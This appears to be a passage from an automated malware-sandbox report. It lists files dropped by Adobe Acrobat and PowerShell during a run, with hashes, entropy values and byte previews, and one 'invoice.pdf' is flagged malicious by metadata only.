Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.231330546957162
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfshHHrPeUkwRe9:YvXKX9PiOUYpW7j6GUUUkee9
MD5:	E005E92C5676676EAC5D24C64E1BED18
SHA1:	72CC42A970CFBE9ABDA71E090A3226DE360FDEDE
SHA-256:	86E701718C9E160A392B2E44836FF9C466D722C60453C0FE3A41E40B48BE497C
SHA-512:	B19A7EC0988D239B535CB53754247F01B614CE7D66D86269BB92E8C4DC31E2141FDCCE5131072CBE14567038570E89B6FD33E8C0CFC7028AC72C3A6929AC1604
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.239824957796982
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJTqgFCrPeUkwRe9:YvXKX9PiOUYpW7j6GTq16Ukee9
MD5:	BB00451A49F751EC231965FE99AEF04F
SHA1:	889DAA25E80F88D33735E988F5E22468EB6A6EBB
SHA-256:	7A6FE86D71CEC89A043DC07B17440954D60C34199E5E9CEB7334B43B1D9E279A
SHA-512:	1431F2930365F885F939F4BBD8EDF48582BB2CEFA0148EBD31C1F0896BB8ADCB86CA895CEBF1CACB2C86602718CBA901AFE94C1D8AE3088ADC814C0405CB9D6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136694009106848
Encrypted:	false
SSDEEP:	24:YCfgGajnayfaExXJq2rJxgSwghEDPjRsj0SZfIigsC2JOf2LSZRCjY5Ptfh4EJOK:Ytq2RksG3Pf5sOVfzQoB9FF
MD5:	08DF9F97447D1F9D4BE38652424603DB
SHA1:	4E169633A35EFDCEDD00226B01F1A399B488DA54
SHA-256:	2D0EA52388F6E6E4B7C4EA79436952882E09BD66686A22B7359F4784B28902FD
SHA-512:	C353BC27B397A1A36017FDA4FC87D361B5E76F35B03055D47E1275A41F7DF3510F5C94F373DF683BA119A59116FD2C77A862D98A5573CBF4BEF97EB278B93CB6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a65f7703ad60f4820ab8d83f00f28cdc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736539769000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9c62019e860ef2c233d1d46af233541a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736539769000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1733e4a2260ea4a2eb0501f0e4a1c6a2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736539769000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"48422c6d8034db1cec5cb90997a7c0f1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736539769000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3fd54d18839aa9c67ffd7a1d401620cd","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736539769000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0759bfe8338ef53fd25582c9925783d9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9849734176895543
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spqb4zJwtNBwtNbRZ6bRZ4DbF:TVl2GL7ms6ggOVpq0zutYtp6PAx
MD5:	58C1E48D38004CAD09DA83FA3CFC7BFF
SHA1:	183856020B02957538D66C7916E1E7AF3E0158E9
SHA-256:	0BAC2F7DC405BFC8A114EB123B4D84460EA5BA2143F1DBF45D5830AC47CF8571
SHA-512:	8E4123389349AAC9A69A3555CA14AEA86F35244EADF6E1BD34DDF9A8D9C317001C23C36B1EFBA542C659E0C0EE89FCAB4D6B16D8C428A81194AB58634D38BFAF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3393841996572118
Encrypted:	false
SSDEEP:	24:7+txvAD1RZKHs/Ds/SpqbPzJwtNBwtNbRZ6bRZWf1RZK7hqLBx/XYKQvGJF7ursX:7MxvGgOVpqLzutYtp6PMyhqll2GL7msX
MD5:	F9DFD1FA508E8BD508805D1571C5A96B
SHA1:	AC7F9A008389F63CD24DC0892DD29AFE1898CB19
SHA-256:	C87C626B5BECC0887D24F8A2894BC358B844377756013DC29C6A1B367077EF2D
SHA-512:	8ADB0FB9AD251C14A23DAAB28ADA8DFDE8020D84B0FF62E68D4F5595E3E5BD85DC3CEDF5040748AB8E3627B25554615FCB0C18A1220C7A0DFB7E732AA8E2E543
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgMD7aBK82ArErcQ/BJut6pppW9qVoYyu:6a6TZ44ADEMD7/82ArW/pW+oK
MD5:	E6BF3CD01041FFF0A41CAA9483AC2AAC
SHA1:	09524AF17B8D710F932DE72C293B58F262E09319
SHA-256:	D7312AD841BE196DB23648C6B463D2518DC25754263686D09518CC02969CBC06
SHA-512:	4CB59BFA5EB7C3C6599BE578C87AAC7519739D481007654EE953F6B99E9F14F68CF3CF936572FA6D30A0086BC1B2B6458C75AE23E65A6BF02C825568276C8D5B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc0b87.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEwUiflH:Qw946cPbiOxDlbYnuRK+bDGflH
MD5:	5B779614C98987E606BFB4FFED57A54C
SHA1:	EC4AAEB46DF40584BE0332BD677ACBB355199F3C
SHA-256:	1B3AED739AB57CDB71B78D98F294E49E143B315A0BBA648369D8426336D6BD03
SHA-512:	F8E78FF1C6CFD17536B69CEA9F8A3CD54D75EE7C4885656097364ECB3B1D5636DECA1CE9A8FDC0F7924EDB4067EC1A53A5D141885DB5F50C8098C37F7711DDED
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.0.9.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btw1bgvu.h3o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dllah1lw.daa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-09-26-277.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33574944607879
Encrypted:	false
SSDEEP:	384:D06Jy8LVqjSk/JxJaEVQcvzyOp4ZKMkp69A28EGmn9sqTrsVCJOJMVeUjgalqJpm:hIo
MD5:	8AC7E05B17EDB9A014453C7A928ED24C
SHA1:	33E228A17C7573F90E63252E08A3035DD3D31FF2
SHA-256:	5859A8EA6E958E4C0254B69C1B28AFEF92DD122169A0A9833E086247D0C34F23
SHA-512:	5802632809BCA1F625BEED0B4A850AB6DD33E6BC630ACF524665142A0A5A0723344862FF4F0F048854BC8EAA045F3A0BBD9722C7390BA7C7841BC63E279E5926
Malicious:	false
Preview:	SessionID=d6022a2b-c3d1-40e7-8683-ee707f8c758d.1736539766303 Timestamp=2025-01-10T15:09:26:303-0500 ThreadID=7836 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d6022a2b-c3d1-40e7-8683-ee707f8c758d.1736539766303 Timestamp=2025-01-10T15:09:26:310-0500 ThreadID=7836 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d6022a2b-c3d1-40e7-8683-ee707f8c758d.1736539766303 Timestamp=2025-01-10T15:09:26:310-0500 ThreadID=7836 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d6022a2b-c3d1-40e7-8683-ee707f8c758d.1736539766303 Timestamp=2025-01-10T15:09:26:310-0500 ThreadID=7836 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d6022a2b-c3d1-40e7-8683-ee707f8c758d.1736539766303 Timestamp=2025-01-10T15:09:26:310-0500 ThreadID=7836 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400219538947363
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbU:jE
MD5:	7C24841BDD81336C2910EBD4EAB20231
SHA1:	9F08911FA8632A0A2660785E4AF745ED59D76943
SHA-256:	BFDF14C0ADCFD1317C8DCCEF9A29387CB28A2CC84869D93E63EE289F118FE22B
SHA-512:	B446DE95AE07C1B7F3DC1754F64A1785758FE541ADDE0EB7F650E34E8D1F59F6488C395105BEC4062100EE4D35216C0784C859B07B3A52490AC1E707D94F3A6B
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\02fcfd40-62d5-4eeb-9b29-5f2501b34d04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\683d909a-e73c-404c-83d0-05e9778a414d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7288da6d-c901-4d55-838d-8239a1b1f56b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8fcaa2bd-57e5-4b96-8d4e-ccf265e86cb4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oXGZGwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxXGZGwZGM3mlind9i4ufFXpAXkru
MD5:	0A347312E361322436D1AF1D5145D2AB
SHA1:	1D6C06A274705F8A295F62AD90CF8CA27555C226
SHA-256:	094501B3CA4E93F626ABFCAE800645C533B61409DC3D1D233F4D053CE6A124D7
SHA-512:	9856C231513B47DD996488DF19EEE44DBB320E55432984C0C041EF568B6EC5C05F5340831132890D1D162E0505CA243D579582EDB9157CF722A86EC8CE2FEAFE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
